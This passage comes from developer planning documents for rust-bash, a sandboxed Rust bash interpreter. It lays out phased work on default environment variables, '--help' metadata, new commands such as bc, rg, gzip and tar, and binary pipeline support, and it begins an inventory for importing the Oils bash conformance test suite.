| |\n| `OSTYPE` | `linux-gnu` | |\n| `MACHTYPE` | `x86_64-pc-linux-gnu` | Already in `InterpreterState` |\n| `HOSTTYPE` | `x86_64` | Already in `InterpreterState` |\n| `SHELL` | `/bin/bash` | |\n| `BASH` | `/bin/bash` | |\n| `BASH_VERSION` | crate version | |\n| `IFS` | `\" \\t\\n\"` | Already handled by interpreter |\n| `PWD` | CWD value | |\n| `OLDPWD` | `\"\"` | Empty string initially |\n| `TERM` | `xterm-256color` | |\n\nCaller-provided env vars via `.env()` always win (don't overwrite).\n\n### Step 1.4 — Fix `which` command\n\nReplace hardcoded `REGISTERED_COMMANDS`/`SHELL_BUILTINS` arrays with PATH-based resolution:\n\n1. If the name is a shell builtin → output `{name}: shell built-in command` (check `InterpreterState` or a definitive builtins list).\n2. If the name is a user-defined function → output the function name.\n3. Split `$PATH` and for each directory, check `ctx.fs.exists(\"{dir}/{name}\")`. Return the first hit.\n4. Fall back to checking registered commands map directly (for commands registered but somehow not in `/bin`).\n5. Exit 1 if not found.\n\nRemove the `REGISTERED_COMMANDS` and `SHELL_BUILTINS` constant arrays from `utils.rs` — they are now redundant since commands are discoverable via VFS.\n\n> **POSIX deviation note**: Real `/usr/bin/which` only searches PATH and does not know about shell builtins — it is the `type` builtin that reports builtins. rust-bash's `which` reports builtins because in a sandboxed environment there is no real `/usr/bin/which` binary, and AI agents commonly use `which` to discover available tools. The `type` builtin (already implemented in `builtins.rs`) provides the POSIX-correct behavior.\n\n### Step 1.5 — Verification against existing tests\n\n**⚠️ High-risk step**: Default env vars are the most likely change to break existing tests. Tests that check `echo $HOME` and expect empty output will now get `/home/user`. Run the full suite immediately after Step 1.3 and fix any failures before proceeding to Steps 1.4+.\n\n- Run `cargo test` — ensure no regressions from the new default directories, env vars, or `which` changes.\n- Add tests:\n  - `which ls` returns `/bin/ls` (not hardcoded `/usr/bin/ls`).\n  - `ls /bin` lists all registered commands.\n  - `echo $HOME` returns `/home/user`.\n  - `echo $PATH` returns `/usr/bin:/bin`.\n  - `test -d /tmp` returns 0.\n  - Builder with custom `HOME` doesn't get overwritten.\n- Run `cargo clippy -- -D warnings` and `cargo fmt`.\n\n### Step 1.6 — Documentation update\n\n- Update `docs/guidebook/06-command-system.md` \"Command Resolution Order\" section to reflect PATH-based `which`.\n- Update `docs/guidebook/05-virtual-filesystem.md` to document the default layout.\n- Mark M7.7 as ✅ in `docs/guidebook/10-implementation-plan.md`.\n\n---\n\n## Phase 2 — Help Infrastructure (M7.1)\n\n**Goal**: Every command responds to `--help` with a usage summary. A `CommandMeta` struct provides declarative metadata.\n\n### Step 2.1 — Define `CommandMeta`\n\nAdd to `src/commands/mod.rs`:\n\n```rust\npub struct CommandMeta {\n    pub name: &'static str,\n    pub synopsis: &'static str,        // e.g., \"grep [OPTIONS] PATTERN [FILE...]\"\n    pub description: &'static str,     // One-line summary\n    pub options: &'static [(&'static str, &'static str)],  // (\"-n\", \"print line numbers\")\n    pub supports_help_flag: bool,      // false for echo, true, false, test, [\n}\n```\n\nExtend `VirtualCommand` trait with a default method:\n\n```rust\npub trait VirtualCommand: Send + Sync {\n    fn name(&self) -> &str;\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult;\n    fn meta(&self) -> Option<&CommandMeta> { None }\n}\n```\n\n**Bash compatibility note**: In real bash, `echo --help` prints the literal string `--help`, and `true --help` / `false --help` / `test --help` / `[ --help` have specific non-help behaviors. The `supports_help_flag: bool` field lets these commands opt out of automatic `--help` interception while still providing metadata for the `help` builtin to use.\n\n### Step 2.2 — Dispatch-level `--help` interception\n\nIn `dispatch_command()` (in `src/interpreter/walker.rs`), add `--help` checking as the **very first step** — before builtin dispatch, before function lookup, before registered command lookup. This ensures `--help` works for builtins too.\n\nCheck: if `args[0] == \"--help\"` AND the command has metadata with `supports_help_flag == true`, format and return the help text as stdout with exit code 0.\n\nFor **builtins** (`cd`, `export`, `read`, `printf`, etc.): since builtins are not `VirtualCommand` implementors, maintain a parallel `BUILTIN_META` registry (a `HashMap<&str, CommandMeta>` or a `static` array) that `dispatch_command()` can consult. Note that `printf` exists as both a builtin (priority) and a registered command — the `--help` check must work regardless of which dispatch path would normally fire.\n\nFormat:\n```\nUsage: {synopsis}\n\n{description}\n\nOptions:\n  {flag}    {description}\n  ...\n```\n\n### Step 2.3 — Add `CommandMeta` to all existing commands\n\nImplement `meta()` for all 62 existing commands. Group by file:\n\n- `src/commands/mod.rs`: echo, cat, true, false, pwd, touch, mkdir, ls, test, `[`\n- `src/commands/file_ops.rs`: cp, mv, rm, tee, stat, chmod, ln\n- `src/commands/text.rs`: grep, sort, uniq, cut, head, tail, wc, tr, rev, fold, nl, printf, paste, tac, comm, join, fmt, column, expand, unexpand, od\n- `src/commands/navigation.rs`: realpath, basename, dirname, tree\n- `src/commands/utils.rs`: expr, date, sleep, seq, env, printenv, which, base64, md5sum, sha256sum, whoami, hostname, uname, yes\n- `src/commands/exec_cmds.rs`: xargs, find\n- `src/commands/sed.rs`: sed\n- `src/commands/awk/mod.rs`: awk\n- `src/commands/jq_cmd.rs`: jq\n- `src/commands/diff_cmd.rs`: diff\n- `src/commands/net.rs`: curl\n\nUse `static` `CommandMeta` constants to avoid allocation.\n\n### Step 2.4 — Verification against existing tests\n\n- Run `cargo test` — verify no regressions.\n- Add tests:\n  - `grep --help` includes `-E`, `-i`, `-n` in options list, exits 0.\n  - `ls --help` shows usage text.\n  - `--help` as first arg works; `grep --help pattern` shows help (not search).\n  - **Bash compat**: `echo --help` prints the literal string `--help` (not help text).\n  - **Bash compat**: `true --help` exits 0 silently; `false --help` exits 1 silently.\n  - Commands without meta still work (graceful fallback).\n  - `meta()` returns `Some` for all 62 registered commands (enumerate and assert).\n  - `printf --help` works despite `printf` being dispatched as a builtin.\n- Run `cargo clippy -- -D warnings` and `cargo fmt`.\n\n### Step 2.5 — Documentation update\n\n- Update `docs/guidebook/06-command-system.md` to document `CommandMeta` and `--help` behavior.\n- Update \"Implementing a New Command\" section to show `meta()` implementation.\n- Mark M7.1 as ✅ in `docs/guidebook/10-implementation-plan.md`.\n\n---\n\n## Phase 3 — New Commands: Utilities, Inspection, Search, Shell (M7.2, M7.4, M7.5, M7.6)\n\n**Goal**: Implement ~15 new commands that AI agents commonly use. M7.3 (compression) is deferred to Phase 5 due to the binary data prerequisite.\n\n### Step 3.1 — Core utility commands (M7.2)\n\nEach command gets a `VirtualCommand` impl with `meta()` from day one.\n\n| Command | File | Key Notes |\n|---------|------|-----------|\n| `timeout` | `src/commands/utils.rs` | Run command via `exec` callback with reduced `max_execution_time`. Set `limits.max_execution_time = min(remaining_time, timeout_duration)` on the child state, catch the `Timeout`/`LimitExceeded` error, convert to exit 124. `-k` for kill delay (no-op in sandbox). `-s` accepts but ignores signal name. |\n| `time` | `src/interpreter/walker.rs` | **Shell keyword, not a command or builtin.** brush-parser already parses `time` and sets `Pipeline.timed: Option<PipelineTimed>` (variants: `Timed`, `TimedWithPosixOutput`). Implementation: in `execute_pipeline()`, check `pipeline.timed`, wrap the pipeline body with `Instant::now()` timing, emit `real`/`user`/`sys` to stderr. **Sandbox note**: `user` and `sys` times are reported as `0.000s` — there are no per-process resource counters in a sandboxed in-process environment. Only `real` (wall-clock) is accurate. |\n| `readlink` | `src/commands/file_ops.rs` | `-f` canonicalize (all components must exist). `-e` canonicalize (all must exist, error if not). `-m` canonicalize (no requirements on existence). Resolve symlinks via VFS. |\n| `rmdir` | `src/commands/file_ops.rs` | Remove empty dirs. `-p` for parents. Check dir is empty via VFS `list_dir()`. |\n| `du` | `src/commands/file_ops.rs` | Walk VFS tree, sum file sizes. `-s` summary, `-h` human-readable, `-a` all files, `-d` depth limit. |\n| `sha1sum` | `src/commands/utils.rs` | Add `sha1` crate. Same pattern as existing `md5sum`/`sha256sum`. |\n| `fgrep`/`egrep` | `src/commands/mod.rs` | Register as aliases: delegate to grep with `-F`/`-E` prepended. |\n| `sh` | interpreter builtin | Three modes: (1) `sh -c \"cmd\"` → parse and execute via `execute_program()` in a subshell context (like `execute_subshell()`); (2) `sh script.sh` → read file from VFS and execute; (3) `sh` with no args → read commands from stdin. Also register `bash` as an alias. |\n| `bc` | `src/commands/utils.rs` | Recursive-descent parser for infix expressions. Support: `+`, `-`, `*`, `/`, `%`, `^` (right-associative), parentheses, comparisons (`==`, `!=`, `<`, `>`, `<=`, `>=` → 0 or 1), `scale` variable, assignment (`x = 5`), multi-line input (newline/semicolon separated). **Explicitly excluded**: `if`/`while`/`for` control flow, `define` (functions), arrays, `ibase`/`obase`, `last`/`.` variable, string operations. `-l` flag sets `scale=20` and loads math library (stub: just set scale). |\n\n**Implementation note for `time`**: This is NOT a new command registration — it's a change to `execute_pipeline()` in `walker.rs` to honor the existing `pipeline.timed` AST field that is currently ignored.\n\n### Step 3.2 — Binary and file inspection commands (M7.4)\n\n| Command | File | Key Notes |\n|---------|------|-----------|\n| `file` | `src/commands/utils.rs` | Magic-byte detection (PNG, JPEG, ELF, gzip, tar, JSON, XML, etc.) + extension fallback. Return `path: type` format. |\n| `strings` | `src/commands/text.rs` | Extract runs of ≥4 printable ASCII bytes (configurable via `-n`). |\n| `split` | `src/commands/file_ops.rs` | Split by lines (`-l`) or bytes (`-b`). Output files: `xaa`, `xab`, etc. |\n\n> **`od` is already implemented** in `src/commands/text.rs:1380` (OdCommand). The guidebook lists it under M7.4 but this requirement is already satisfied. No work needed.\n\n### Step 3.3 — Search commands (M7.5)\n\n| Command | File | Key Notes |\n|---------|------|-----------|\n| `rg` | `src/commands/text.rs` | Ripgrep-compatible. Reuse `grep` infrastructure. Defaults: recursive, smart-case, `-t`/`-T` type filters, `-g` glob, `--vimgrep` output. |\n\n**`.gitignore` support scope**: Implement a simplified version — check `.gitignore` files in VFS root and CWD only. Support basic glob patterns (`*`, `?`, `**`), comments (`#`), negation (`!`). Do NOT traverse parent directories for inherited ignore rules. This covers the common case without the complexity of the full `ignore` crate. If the `ignore` crate is needed later, it can replace the simple implementation.\n\n### Step 3.4 — Shell utility commands (M7.6)\n\n| Command | File | Key Notes |\n|---------|------|-----------|\n| `help` | interpreter builtin | Share `CommandMeta` from M7.1 (both registered command metadata and `BUILTIN_META`). `help` with no args lists all builtins. `help cmd` shows detailed help. |\n| `clear` | `src/commands/utils.rs` | Output `\\x1b[2J\\x1b[H` (ANSI clear + cursor home). |\n| `history` | interpreter builtin | **Stub implementation**: `InterpreterState` does not currently track command history (the REPL uses `rustyline`'s own history, not accessible from the interpreter). Return empty output. A future enhancement could add a `history: Vec<String>` field to `InterpreterState` that the REPL populates. |\n\n**Run tests after each sub-step** (3.1, 3.2, 3.3, 3.4) rather than waiting until 3.5. Catching regressions early avoids debugging a pile of changes at the end.\n\n### Step 3.5 — Verification against existing tests\n\n- Run `cargo test` — ensure no regressions.\n- Add command-specific tests for each new command:\n  - `timeout 0.001 sleep 10` exits with code 124.\n  - `time echo hello` produces timing output on stderr.\n  - `readlink -f /some/symlink` resolves correctly.\n  - `rmdir /empty_dir` succeeds; `rmdir /nonempty_dir` fails.\n  - `du -s /dir` returns size; `du -h` formats human-readable.\n  - `sha1sum` matches known hash values.\n  - `echo hello | fgrep hello` works (grep -F delegation).\n  - `sh -c 'echo hi'` returns \"hi\".\n  - `echo \"2+3\" | bc` returns \"5\"; `echo \"scale=2; 10/3\" | bc` returns \"3.33\".\n  - `file image.png` detects PNG; `file script.sh` detects shell script.\n  - `strings` extracts ASCII from binary-like content.\n  - `split -l 10 bigfile` creates expected chunks.\n  - `rg pattern dir/` recursively searches; smart-case works.\n  - `help` lists builtins; `help cd` shows cd usage.\n  - `clear` outputs ANSI escape sequence.\n- Run `cargo clippy -- -D warnings` and `cargo fmt`.\n\n### Step 3.6 — Documentation update\n\n- Update `docs/guidebook/06-command-system.md` command tables with all new commands.\n- Update the registered command count (62 → ~77).\n- Add new commands to `README.md` command listing table.\n- Mark M7.2, M7.4, M7.5, M7.6 as ✅ in `docs/guidebook/10-implementation-plan.md`.\n\n---\n\n## Phase 4 — Command Fidelity Infrastructure (M7.8)\n\n**Goal**: Systematic correctness tooling — consistent error handling, path-argument conformance, comparison test suite, and flag metadata.\n\n### Step 4.1 — Unknown-flag error handling helper\n\nAdd to `src/commands/mod.rs`:\n\n```rust\npub fn unknown_option(cmd: &str, flag: &str) -> CommandResult {\n    let msg = if flag.starts_with(\"--\") {\n        format!(\"{}: unrecognized option '{}'\\n\", cmd, flag)\n    } else {\n        format!(\"{}: invalid option -- '{}'\\n\", cmd, flag.trim_start_matches('-'))\n    };\n    CommandResult {\n        stdout: String::new(),\n        stderr: msg,\n        exit_code: 2,\n    }\n}\n```\n\nAudit all existing commands and migrate ad-hoc unknown-flag handling to use this helper for consistency.\n\n### Step 4.2 — Path-argument fidelity\n\nAdd shared conformance tests for commands that receive shell-expanded path operands:\n\n- `ls *` with mixed files and directories: files listed directly, directories listed with contents.\n- `grep pattern *` with mixed files and directories: files searched, directories reported as errors in non-recursive mode.\n- `cat *` with directories: skip directories with error, continue processing files.\n- `wc *` with directories: report error for directories, process files normally.\n\nFix any commands that fail uniformly on mixed operand sets.\n\n### Step 4.3 — Comparison test suite\n\nExtend the existing `tests/comparison.rs` infrastructure:\n\n- Add fixture files under `tests/fixtures/m7/` with bash scripts and expected output.\n- Each fixture records: script, expected stdout, expected stderr pattern, expected exit code.\n- Tests run the script through rust-bash and assert against fixtures.\n- Fixtures can be regenerated against real bash for validation.\n\nFocus on testing the new M7 commands against real bash behavior.\n\n### Step 4.4 — Per-command flag metadata\n\nExtend `CommandMeta` with a flag status field:\n\n```rust\npub struct FlagInfo {\n    pub name: &'static str,\n    pub status: FlagStatus,  // Implemented, Stubbed, NotSupported\n}\n\npub enum FlagStatus {\n    Implemented,\n    Stubbed,      // Accepted but ignored\n    NotSupported, // Will error\n}\n```\n\nAdd to `CommandMeta`:\n```rust\npub flags: &'static [FlagInfo],\n```\n\nThis enables coverage tracking and future systematic fuzzing of flag combinations.\n\n### Step 4.5 — Verification against existing tests\n\n- Run `cargo test` — ensure no regressions from error handling changes.\n- Add tests:\n  - `grep --nonexistent-flag` produces bash-format error message.\n  - `ls *` with mixed file/dir operands produces correct output.\n  - Comparison fixtures pass.\n  - `FlagStatus` metadata is accurate for a sample of commands.\n- Run `cargo clippy -- -D warnings` and `cargo fmt`.\n\n### Step 4.6 — Documentation update\n\n- Update `docs/guidebook/06-command-system.md` to document `unknown_option()` helper and `FlagInfo`.\n- Update `docs/guidebook/09-testing-strategy.md` to document the comparison test suite approach.\n- Mark M7.8 as ✅ in `docs/guidebook/10-implementation-plan.md`.\n\n---\n\n## Phase 5 — Compression and Archiving (M7.3)\n\n**Goal**: Implement `gzip`, `gunzip`, `zcat`, and `tar`. This phase first addresses the binary data pipeline blocker, scoped minimally to unblock compression.\n\n### Step 5.1 — Binary data audit and minimal fix\n\nAudit the pipeline data path in `src/interpreter/walker.rs` and `src/commands/mod.rs`. The changes span multiple types and functions:\n\n**Types to modify:**\n\n1. **`CommandResult`** (`src/commands/mod.rs`): Add `stdout_bytes: Option<Vec<u8>>`. When a command produces binary output, it sets `stdout_bytes` and leaves `stdout` empty.\n2. **`ExecResult`** (`src/interpreter/mod.rs`): Add `stdout_bytes: Option<Vec<u8>>` (mirrors `CommandResult`).\n3. **`CommandContext`** (`src/commands/mod.rs`): Add `stdin_bytes: Option<&'a [u8]>`. Commands that handle binary input check this first, falling back to `stdin: &str`.\n\n**Functions to modify:**\n\n4. **`execute_pipeline()`** (`walker.rs:169`): Add a `pipe_data_bytes: Option<Vec<u8>>` alongside `pipe_data: String`. After each pipeline stage, if the command set `stdout_bytes`, propagate the bytes to the next stage's `stdin_bytes`.\n5. **`dispatch_command()`** / `execute_simple_command()`**: The `CommandResult → ExecResult` conversion must preserve the `stdout_bytes` field.\n6. **`apply_output_redirects()`**: When writing binary output to VFS via redirection (`gzip file > output`), use `stdout_bytes` directly as `&[u8]` rather than converting `stdout` string to bytes.\n7. **`exec()` return boundary** (`src/api.rs`): At the public API return, if `stdout_bytes` is set, attempt UTF-8 conversion; if it fails, use lossy conversion. Add an `encoding_hint: Option<String>` field to `ExecResult` for callers that need to know about binary content.\n\nThis is a **scoped subset** of M9.8 — enough to make compression commands work in pipelines without redesigning the entire `String`-based architecture. Keep the `stdout: String` path as the default for all text commands (they leave `stdout_bytes` as `None`).\n\n### Step 5.2 — Compression commands\n\nAdd `flate2` crate dependency.\n\n| Command | File | Key Notes |\n|---------|------|-----------|\n| `gzip` | `src/commands/file_ops.rs` | `-d` decompress, `-c` stdout, `-k` keep, `-f` force, `-r` recursive, `-1..-9` levels. Reads from VFS file or stdin. Writes `.gz` to VFS or stdout bytes. |\n| `gunzip` | alias | Register as `gzip -d`. |\n| `zcat` | alias | Register as `gzip -dc`. |\n\n### Step 5.3 — Archive commands\n\nAdd `tar` crate dependency.\n\n| Command | File | Key Notes |\n|---------|------|-----------|\n| `tar` | `src/commands/file_ops.rs` | `-c` create, `-x` extract, `-t` list, `-f` archive file, `-z` gzip filter, `-v` verbose. Create/extract from VFS paths. Binary archive data via `stdout_bytes`/`stdin_bytes`. |\n\n### Step 5.4 — Verification against existing tests\n\n- Run `cargo test` — ensure the `stdout_bytes` addition doesn't break existing commands (all existing commands leave it as `None`).\n- Add tests:\n  - `echo \"hello\" | gzip | gunzip` round-trips correctly.\n  - `gzip -c file.txt` produces compressed output; `gunzip` recovers original.\n  - `tar -cf archive.tar dir/` creates archive; `tar -xf archive.tar` extracts.\n  - `tar -czf archive.tar.gz dir/` creates gzipped tar; `tar -xzf` extracts.\n  - `tar -tf archive.tar` lists contents.\n  - `file archive.tar.gz` detects gzip format (cross-test with M7.4's `file` command).\n  - Pipeline binary transparency: `gzip -c file | gzip -d` preserves content exactly.\n- Run `cargo clippy -- -D warnings` and `cargo fmt`.\n\n### Step 5.5 — Documentation update\n\n- Update `docs/guidebook/06-command-system.md` with compression command tables.\n- Document `stdout_bytes`/`stdin_bytes` in `CommandContext`/`CommandResult` sections.\n- Update `README.md` command listing.\n- Mark M7.3 as ✅ in `docs/guidebook/10-implementation-plan.md`.\n- Note the binary data scope in the risk register (M9.8 still needed for full binary support).\n\n---\n\n## Phase 6 — AI Agent Documentation (M7.9)\n\n**Goal**: Ship `AGENTS.md` — the primary interface doc for AI agents consuming rust-bash.\n\n### Step 6.1 — Write `packages/core/AGENTS.md`\n\nCreate `packages/core/AGENTS.md` at the repo root (distinct from the existing `AGENTS.md` which is for contributor/development agents). This follows the just-bash pattern where `packages/core/AGENTS.md` ships as `dist/AGENTS.md` in the npm package. Content sections:\n\n1. **Quick start** — 5-line examples for TypeScript and Rust.\n2. **Available commands** — grouped by category with synopsis for each. Auto-generate from `CommandMeta` registry or maintain in sync.\n3. **Tools-by-file-format recipes** — JSON (`jq`), YAML (`yq` if M8 done, else note), CSV, tar/gzip.\n4. **Behavioral notes** — isolation model (no real FS, no processes), no network by default, execution limits.\n5. **Common patterns** — file manipulation, text search, data extraction, multi-step pipelines.\n\n### Step 6.2 — Distribution integration\n\n- Include `packages/core/AGENTS.md` as `AGENTS.md` in npm package (`packages/npm/`).\n- Embed key content in CLI `--help` output or `rust-bash --agents` flag.\n- Add to docs site if one exists.\n\n### Step 6.3 — Validation test\n\nAdd a test that:\n- Parses `packages/core/AGENTS.md` for command names in code blocks.\n- Asserts each documented command exists in the registry.\n- Optionally parses documented code examples and verifies they parse without errors.\n\n### Step 6.4 — Verification against existing tests\n\n- Run `cargo test` — including the new packages/core/AGENTS.md validation test.\n- Run `cargo clippy -- -D warnings` and `cargo fmt`.\n\n### Step 6.5 — Documentation update\n\n- Cross-link `packages/core/AGENTS.md` from `README.md`.\n- Mark M7.9 as ✅ in `docs/guidebook/10-implementation-plan.md`.\n\n---\n\n## Phase 7 — Recipes, Examples, and Final Documentation Sweep\n\n**Goal**: Update `docs/recipes/`, `examples/`, `README.md`, and `docs/guidebook/` to reflect all M7 changes.\n\n### Step 7.1 — Update `docs/recipes/`\n\nReview and update each recipe file for M7 additions:\n\n| Recipe | Updates Needed |\n|--------|---------------|\n| `getting-started.md` | Add mention of default env vars, default FS layout, `--help` availability. |\n| `ai-agent-tool.md` | Add new commands to examples. Reference `packages/core/AGENTS.md`. |\n| `cli-usage.md` | Document `--help` for all commands. |\n| `custom-commands.md` | Show `meta()` implementation for custom commands. |\n| `convenience-api.md` | Note any API changes from `CommandMeta` / `stdout_bytes` additions. |\n| `shell-scripting.md` | Add examples using `timeout`, `bc`, `tar`, `gzip`, `rg`. |\n| `text-processing.md` | Add `rg`, `strings`, `split` examples. |\n| `filesystem-backends.md` | Mention default FS layout behavior. |\n| `error-handling.md` | Document `unknown_option()` error format. |\n| `migrating-from-just-bash.md` | Note `packages/core/AGENTS.md` distribution differences vs just-bash's `AGENTS.md`. |\n\n### Step 7.2 — Update `examples/`\n\n- Update `examples/shell.rs` if needed (default env/FS changes may affect REPL demo).\n- Add a new example or extend existing one demonstrating:\n  - `--help` usage.\n  - Compression/archive workflows.\n  - `rg`-based code search.\n\n### Step 7.3 — Update `README.md`\n\n- Update the command count and command listing table.\n- Update the roadmap section: mark M7 as ✅.\n- Add a \"Discoverability\" section mentioning `--help` and `packages/core/AGENTS.md`.\n- Document the new default FS layout and default env vars (these are user-visible behavior changes for anyone calling `RustBashBuilder::new().build()`).\n- Update feature highlights if new commands are noteworthy.\n\n### Step 7.4 — Update `docs/guidebook/`\n\n- `01-what-we-are-building.md` — update if it references command counts or coverage.\n- `06-command-system.md` — final review: all new commands documented, CommandMeta, FlagInfo, resolution order.\n- `09-testing-strategy.md` — document comparison test fixtures added in M7.8.\n- `10-implementation-plan.md` — mark all M7.x items as ✅ with brief completion notes.\n\n### Step 7.5 — Final verification\n\n- Run `cargo test` — full suite.\n- Run `cargo clippy -- -D warnings` and `cargo fmt`.\n- Verify no broken links in docs (grep for `](` patterns referencing moved/renamed sections).\n- Verify `README.md` command count matches actual `register_default_commands()` count.\n\n---\n\n## New Dependencies\n\n| Crate | Version | Used By | Feature-Gated? | Notes |\n|-------|---------|---------|-----------------|-------|\n| `sha1` | latest | `sha1sum` (M7.2) | No | Pure Rust, WASM-compatible |\n| `flate2` | latest | `gzip`/`gunzip`/`zcat` (M7.3) | No | **Must use `default-features = false, features = [\"rust_backend\"]`** for WASM compatibility. The default C-based `miniz-sys` does not compile to WASM. |\n| `tar` | latest | `tar` (M7.3) | No | Pure Rust, WASM-compatible |\n\nAll crates should use their latest stable versions at implementation time.\n\n## Risk Register Additions\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| Binary data scope creep | Medium | Medium | Phase 5 does minimal `stdout_bytes` addition, not full M9.8 redesign. Document boundaries. Explicitly list all functions needing changes (see Step 5.1). |\n| `bc` complexity | Medium | Low | Recursive-descent parser with explicit scope: arithmetic, `scale`, comparisons, assignment only. No control flow, functions, or `ibase`/`obase`. Right-associative `^` needs care. |\n| `CommandMeta` boilerplate | Low | Low | Use `static` constants. Consider a macro if metadata becomes unwieldy across 77+ commands. |\n| `rg` feature parity | Medium | Low | Implement core flags only (`-i`, `-n`, `-r`, `-l`, `-t`, `-g`, `--vimgrep`). Simplified `.gitignore` (root + CWD only). Not full ripgrep. |\n| Default env vars breaking tests | Medium | High | Many existing tests may rely on empty env. Use \"set only if not present\" logic. **Run full test suite immediately after Step 1.3 before any other Phase 1 work.** Audit Oils spec tests for `$HOME`/`$PATH` expectations. |\n| `time` user/sys accuracy | Low | Low | Sandbox cannot report real CPU time. Document that `user`/`sys` are always `0.000s`. |\n| `sh` mode complexity | Medium | Low | Three distinct modes (`-c`, file, stdin) need different code paths. Reuse `execute_program()`/`execute_subshell()` where possible. |\n\n## Summary\n\n| Phase | Sub-milestones | New Commands | Estimated Scope |\n|-------|---------------|--------------|-----------------|\n| 1 | M7.7 | 0 | Default FS layout, env vars, `which` fix |\n| 2 | M7.1 | 0 | `CommandMeta` + `--help` for all 62 commands |\n| 3 | M7.2, M7.4, M7.5, M7.6 | ~15 | New utility/inspection/search/shell commands |\n| 4 | M7.8 | 0 | Fidelity infra: error helper, conformance tests, flag metadata |\n| 5 | M7.3 | 4 | Binary data path + gzip/gunzip/zcat/tar |\n| 6 | M7.9 | 0 | AGENTS.md authoring + validation |\n| 7 | — | 0 | Recipes, examples, README, guidebook updates |\n","/home/user/docs/plans/oils-tests.md":"# Oils Spec Test Import Plan\n\n## Background\n\n### What is Oils?\n\n[Oils](https://github.com/oils-for-unix/oils) (formerly Oil Shell) is an open-source Unix shell\nproject that aims to be a better bash. As part of building their bash-compatible `osh` interpreter,\nthe Oils team created the most comprehensive open-source bash conformance test suite in existence:\n**2,728 test cases across 136 `.test.sh` files**.\n\nThe tests are licensed under Apache 2.0. [just-bash](https://github.com/nicholasgasior/just-bash)\nimported this corpus in December 2025 and runs it via a custom TypeScript parser + Vitest harness.\n\n### Test format\n\nOils spec tests use a simple plain-text format:\n\n```bash\n#### test name\necho hello\n## stdout: hello\n\n#### multiline output\necho line1\necho line2\n## STDOUT:\nline1\nline2\n## END\n\n#### expected failure\nfalse\n## status: 1\n```\n\nKey format elements:\n- `#### name` — test case delimiter and name\n- `## stdout: value` — single-line expected stdout\n- `## STDOUT:\\n...\\n## END` — multiline expected stdout\n- `## STDERR:\\n...\\n## END` — multiline expected stderr\n- `## stderr-json: \"...\"` — expected stderr (JSON-encoded)\n- `## status: N` — expected exit code (default 0)\n- `## OK bash stdout/status/...` — acceptable alternate output for bash\n- `## BUG bash stdout/status/...` — known bash bug output\n- `## N-I bash stdout/status/...` — shell-specific variant (\"Not Implemented in bash\")\n- File-level headers: `## compare_shells:`, `## tags:`, `## oils_failures_allowed:`\n\n### Current test landscape\n\n| Metric | just-bash | rust-bash | Gap |\n|---|---|---|---|\n| Comparison fixture files | 32 | 34 | rust-bash slightly broader |\n| Comparison fixture cases | 532 | 280 | −252 (depth gap) |\n| Spec test cases (grep/sed/awk/jq) | — | 200 | rust-bash only |\n| Oils spec files | 136 | 142 | rust-bash imported 142 from upstream |\n| Oils spec cases | 2,728 | 2,278 | −450 (42 files skipped) |\n| **Total test surface** | **~3,260** | **2,758** | **−502** |\n\nThe Oils corpus is imported and running. Of the 2,278 Oils cases (in 100 tested files), **1,968 pass**, **231 are xfail**, and **79 are skip**. Upstream provenance: Oils commit `7789e21d81537a5b47bacbd4267edf7c659a9366`.\n\n---\n\n## Oils file inventory (136 files, 2,728 cases)\n\nGrouped by feature area and mapped approximately to rust-bash milestones.\n\n> [!NOTE]\n> This section is a planning aid, not an exact milestone ledger. Several Oils files span more\n> than one rust-bash milestone — for example `builtin-set.test.sh` touches both M1.15 and M6.9,\n> and `builtin-printf.test.sh` mixes M1.14 coverage with a smaller M6.11 tail. The file counts\n> are exact; the milestone labels are approximate unless explicitly called out as mixed.\n\n### Core shell — M1 (est. ~70–80% pass rate)\n\n| File | Cases | Milestone | Notes |\n|---|---|---|---|\n| `word-split.test.sh` | 55 | M1.3 | Word splitting, IFS |\n| `brace-expansion.test.sh` | 55 | M1.9 | `{a,b}`, `{1..10}` |\n| `builtin-bracket.test.sh` | 52 | M1.6 | `[` / `test` builtin |\n| `dbracket.test.sh` | 49 | M1.6 | `[[ ]]` compound command |\n| `assign.test.sh` | 47 | M1 | Variable assignment basics |\n| `vars-special.test.sh` | 42 | M1/M6.8 | `$?`, `$$`, `$!`, etc. |\n| `var-sub-quote.test.sh` | 41 | M1.3 | Quoted variable substitution |\n| `builtin-vars.test.sh` | 41 | M1/M6 | `unset`, `readonly`, `export` |\n| `glob.test.sh` | 39 | M1.8 | Pathname expansion |\n| `assign-extended.test.sh` | 39 | M1 | Extended assignment forms |\n| `shell-grammar.test.sh` | 38 | M1 | Parser edge cases |\n| `var-op-test.test.sh` | 37 | M1.4 | `${x:-default}`, `${x:+alt}` |\n| `here-doc.test.sh` | 36 | M1.10 | Here-documents |\n| `quote.test.sh` | 35 | M1.3 | Quoting mechanics |\n| `errexit.test.sh` | 35 | M1.15 | `set -e` behavior |\n| `command-sub.test.sh` | 30 | M1.4 | `$(...)` command substitution |\n| `var-op-strip.test.sh` | 29 | M1.4 | `${x#pat}`, `${x##pat}`, `${x%pat}` |\n| `loop.test.sh` | 29 | M1.7 | `for`, `while`, `until` |\n| `extglob-match.test.sh` | 29 | M1.8 | Extended glob matching |\n| `var-op-patsub.test.sh` | 28 | M1.4 | `${x/pat/rep}` |\n| `pipeline.test.sh` | 26 | M1 | Pipelines |\n| `builtin-echo.test.sh` | 25 | M1.14 | `echo` builtin |\n| `extglob-files.test.sh` | 23 | M1.8 | Extended globs on filesystem |\n| `builtin-eval-source.test.sh` | 22 | M1.5 | `eval` and `source` |\n| `append.test.sh` | 20 | M1 | `+=` append operator |\n| `smoke.test.sh` | 18 | M1 | Basic smoke tests |\n| `arith.test.sh` | 74 | M1.11 | Arithmetic expansion |\n| `arith-context.test.sh` | 16 | M1.11 | `(( ))` arithmetic context |\n| `arith-dynamic.test.sh` | 4 | M1.11 | Dynamic arithmetic cases |\n| `dparen.test.sh` | 15 | M1.11 | Double-paren parsing |\n| `func-parsing.test.sh` | 15 | M1.12 | Function definition parsing |\n| `tilde.test.sh` | 14 | M1 | Tilde expansion |\n| `case_.test.sh` | 13 | M1.13 | `case` statement |\n| `sh-func.test.sh` | 12 | M1.12 | Shell functions |\n| `exit-status.test.sh` | 11 | M1.15 | Exit status propagation |\n| `var-op-len.test.sh` | 9 | M1.4 | `${#x}` length |\n| `for-expr.test.sh` | 9 | M1.7 | C-style `for ((...))` |\n| `word-eval.test.sh` | 8 | M1.3 | Word evaluation |\n| `glob-bash.test.sh` | 8 | M1.8 | Bash-specific glob |\n| 